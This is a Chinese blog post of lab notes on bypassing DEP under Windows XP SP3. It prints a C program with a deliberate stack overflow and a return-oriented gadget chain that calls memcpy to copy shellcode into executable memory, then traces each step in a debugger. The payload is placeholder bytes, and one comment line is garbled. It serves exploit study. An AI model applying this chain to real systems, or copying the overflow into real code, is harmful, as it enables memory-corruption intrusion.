0day 第12章--12.4节：利用可执行内存挑战DEP

- 日理万妓 2022-02-23 08:44 254阅读 0赞

**实验环境：**  
winxp sp3  
vs2010

**实验配置：**  
关闭DEP、GS、SAFESEH，禁用优化，release版本

**思路：**  
如果进程的内存空间中有一段可读可写可执行的内存，而我们将shellcode复制到该内存，并劫持程序流程，则我们的shellcode就有执行的机会。

具体实施：  
利用memcpy函数将shellcode复制到该段内存。  
memcpy函数的部署可参考上一节

1、首先找到一段可读可写可执行的内存  
点击M按钮，发现没有这样的内存。于是，我们选中0x00160000该段内存，修改访问属性。右键->设置访问->所有访问  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70]  
（最初我选择0x00150000段内存，发现运行memcpy时会报错，因此改为0x00160000）  
2、依然还是利用push esp jmp eax和pop retn 指令填充memcpy的两个函数地址，并利用pop pop retn收回程序的控制权，使其跳转到memcpy函数内部执行。当然还需要修复ebp  
因此，shellcode布局如下：

#include<stdio.h>
    #include<stdlib.h>
    #include<windows.h>
    #include<string.h>
    
    
    char shell[]={ "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x3c\x43\xa6\x7d" // pop eax retn
    "\xae\x13\x67\x7d" // eax指向的值，即pop pop retn指令
    "\x85\x8b\x1d\x5d" // 修复EBP
    "\x0c\xde\xce\x7d" // pop ecx retn
    "\x00\x00\x16\x00" // memcpy的返回地址
    "\x00\x00\x16\x00" // memcpy的第一个参数，目标内存地址
    "\xc6\xc6\xeb\x77" // push esp jmp eax &原-始º?shellcode地Ì?址¡¤
    "\xff\x00\x00\00"  // shellcode长度
    "\xb8\x1d\x92\x7c" // memcpy入口地址
    "\x42\x42\x42\x42" // shellcode
    "\x42\x42\x42\x42"
    "\x42\x42\x42\x42"
    "\x42\x42\x42\x42"
    "\x42\x42\x42\x42"
    };
    
    int test()
    { 
    	printf("OK!");
    	char array[4]={ 0};
    	memcpy(array,shell,sizeof(shell)+1);
    	return 0;
    }
    
    int main()
    { 
    	HMODULE hMod = LoadLibrary(L"shell32.dll");
    	test();
    	return 0;
    }

1、OD载入运行，程序首先执行0x7DA6433C处的pop eax retn指令  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 1]  
并将0x7D6713AE处的pop pop retn指令传给eax  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 2]  
2、接着执行0x5D1D8B85处的的push esp pop ebp retn指令修复ebp  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 3]  
3、接着执行0x7DCEDE0C处的pop retn指令，将memcpy的第一个参数压栈  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 4]  
4、接着执行0x77EBC6C6处的push esp jmp eax指令，将Memcpy的第三个参数压栈  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 5]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 6]  
5、接着跳转到pop pop retn指令处，  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 7]  
6、执行完后，将跳转到0x7C921DB8处的Memcpy函数  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 8]  
7、执行完memcpy函数后，将转到0x00160000内存处执行  
![在这里插入图片描述][2019040716564579.png]  
8、我们发现我们的shellcode开始的位置在0x00160008位置处，因此我们将memcpy的返回地址改为0x00160008即可。

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70]: /images/20220223/da1873dcbce64b2890e497c9cd78dc61.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 1]: /images/20220223/29d9d524b99e414f90938c2c4e6b6ac3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 2]: /images/20220223/eefada003b2b4d89b999389632fca2d6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 3]: /images/20220223/0eb85c6ffa194dc6a7840dcab0a691cc.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 4]: /images/20220223/197323a6e8af479ea3f86528b91fea59.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 5]: /images/20220223/3a6811acf5da4fddbd9fd31ccd0bc8a9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 6]: /images/20220223/4ad5094fada743889f686bf1c5fc57cb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 7]: /images/20220223/d073989085c9453b98c443e8eeeb558f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzE1NzI3ODA5_size_16_color_FFFFFF_t_70 8]: /images/20220223/0d3b3fa519754dda83aecd40722528e5.png
[2019040716564579.png]: /images/20220223/ea691afd74e8467681b064a56f481c1d.png